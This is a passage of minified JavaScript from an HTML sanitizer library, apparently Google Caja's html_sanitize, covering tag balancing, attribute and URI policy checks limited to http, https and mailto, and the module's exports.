34!==t&&39!==t||(e=e.substr(1,e.length-2)),c(e.replace(r,""))}function F(d){function e(e,t){h||t.push(e)}var m,h;return P({startDoc:function(e){h=!(m=[])},startTag:function(e,t,r){if(!h&&g.ELEMENTS.hasOwnProperty(e)){var s=g.ELEMENTS[e];if(!(s&g.eflags.FOLDABLE)){var a=d(e,t);if(a){if("object"!=typeof a)throw new Error("tagPolicy did not return object (old API?)");if(!("attribs"in a))throw new Error("tagPolicy gave no attribs");var n,o;if(t=a.attribs,n="tagName"in a?(o=a.tagName,g.ELEMENTS[o]):(o=e,s),s&g.eflags.OPTIONAL_ENDTAG){var i=m[m.length-1];!i||i.orig!==e||i.rep===o&&e===o||r.push("</",i.rep,">")}s&g.eflags.EMPTY||m.push({orig:e,rep:o}),r.push("<",o);for(var l=0,c=t.length;l<c;l+=2){var u=t[l],p=t[l+1];null!=p&&r.push(" ",u,'="',y(p),'"')}r.push(">"),s&g.eflags.EMPTY&&!(n&g.eflags.EMPTY)&&r.push("</",o,">")}else h=!(s&g.eflags.EMPTY)}}},endTag:function(e,t){if(h)h=!1;else if(g.ELEMENTS.hasOwnProperty(e)){var r=g.ELEMENTS[e];if(!(r&(g.eflags.EMPTY|g.eflags.FOLDABLE))){var s;if(r&g.eflags.OPTIONAL_ENDTAG)for(s=m.length;0<=--s;){var a=m[s].orig;if(a===e)break;if(!(g.ELEMENTS[a]&g.eflags.OPTIONAL_ENDTAG))return}else for(s=m.length;0<=--s&&m[s].orig!==e;);if(s<0)return;for(var n=m.length;--n>s;){var o=m[n].rep;g.ELEMENTS[o]&g.eflags.OPTIONAL_ENDTAG||t.push("</",o,">")}s<m.length&&(e=m[s].rep),m.length=s,t.push("</",e,">")}}},pcdata:e,rcdata:e,cdata:e,endDoc:function(e){for(;m.length;m.length--)e.push("</",m[m.length-1].rep,">")}})}var H=/^(?:https?|mailto)$/i;function G(e,t,r,s,a){if(!a)return null;try{var n=URI.parse(""+e);if(n&&(!n.hasScheme()||H.test(n.getScheme()))){var o=a(n,t,r,s);return o?o.toString():null}}catch(e){return null}return null}function I(e,t,r,s,a){if(r||e(t+" removed",{change:"removed",tagName:t}),s!==a){var n="changed";s&&!a?n="removed":!s&&a&&(n="added"),e(t+"."+r+" "+n,{change:n,tagName:t,attribName:r,oldValue:s,newValue:a})}}function z(e,t,r){var s;return s=t+"::"+r,e.hasOwnProperty(s)?e[s]:(s="*::"+r,e.hasOwnProperty(s)?e[s]:void 0)}function O(e,t,s,r,a){for(var n=0;n<t.length;n+=2){var o,i=t[n],l=t[n+1],c=l,u=null;if(o=e+"::"+i,(g.ATTRIBS.hasOwnProperty(o)||(o="*::"+i,g.ATTRIBS.hasOwnProperty(o))||(o="*::data-*",/data-\w+/g.test(i)))&&(u=g.ATTRIBS[o]),null!==u)switch(u){case g.atype.NONE:break;case g.atype.SCRIPT:l=null,a&&I(a,e,i,c,l);break;case g.atype.STYLE:if(void 0===b){l=null,a&&I(a,e,i,c,l);break}var p=[];b(l,{declaration:function(e,t){var r=e.toLowerCase();L(r,t,s?function(e){return G(e,g.ueffects.SAME_DOCUMENT,g.ltypes.SANDBOXED,{TYPE:"CSS",CSS_PROP:r},s)}:null),t.length&&p.push(r+": "+t.join(" "))}}),l=0<p.length?p.join(" ; "):null,a&&I(a,e,i,c,l);break;case g.atype.ID:case g.atype.IDREF:case g.atype.IDREFS:case g.atype.GLOBAL_NAME:case g.atype.LOCAL_NAME:case g.atype.CLASSES:l=r?r(l):l,a&&I(a,e,i,c,l);break;case g.atype.URI:l=G(l,(h=e,f=i,z(g.URIEFFECTS,h,f)),(d=e,m=i,z(g.LOADERTYPES,d,m)),{TYPE:"MARKUP",XML_ATTR:i,XML_TAG:e},s),a&&I(a,e,i,c,l);break;case g.atype.URI_FRAGMENT:l&&"#"===l.charAt(0)?(l=l.substring(1),null!=(l=r?r(l):l)&&(l="#"+l)):l=null,a&&I(a,e,i,c,l);break;default:l=null,a&&I(a,e,i,c,l)}else l=null,a&&I(a,e,i,c,l);t[n+1]=l}var d,m,h,f;return t}function N(r,s,a){return function(e,t){if(!(g.ELEMENTS[e]&g.eflags.UNSAFE))return{attribs:O(e,t,r,s,a)};a&&I(a,e,void 0,void 0,void 0)}}function D(e,t){var r=[];return F(t)(e,r),r.join("")}var e={};return e.escapeAttrib=e.escapeAttrib=y,e.makeHtmlSanitizer=e.makeHtmlSanitizer=F,e.makeSaxParser=e.makeSaxParser=P,e.makeTagPolicy=e.makeTagPolicy=N,e.normalizeRCData=e.normalizeRCData=T,e.sanitize=e.sanitize=function(e,t,r,s){return D(e,N(t,r,s))},e.sanitizeAttribs=e.sanitizeAttribs=O,e.sanitizeWithPolicy=e.sanitizeWithPolicy=D,e.unescapeEntities=e.unescapeEntities=c,e}(html4);"undefined"!=typeof exports&&exports&&(exports.escapeAttrib=html_sanitize.escapeAttrib,exports.makeHtmlSanitizer=html_sanitize.makeHtmlSanitizer,exports.makeSaxParser=html_sanitize.makeSaxParser,exports.makeTagPolicy=html_sanitize.makeTagPolicy,exports.normalizeRCData=html_sanitize.normalizeRCData,exports.sanitize=html_sanitize.sanitize,exports.smartSanitize=function(e,t,r){return e=e.replace(/<([a-zA-Z]+)([^>]*)\/>/g,"<$1$2></$1>"),html_sanitize.sanitize(e,t,r)},exports.sanitizeAttribs=html_sanitize.sanitizeAttribs,exports.sanitizeWithPolicy=html_sanitize.sanitizeWithPolicy,exports.unescapeEntities=html_sanitize.unescapeEntities);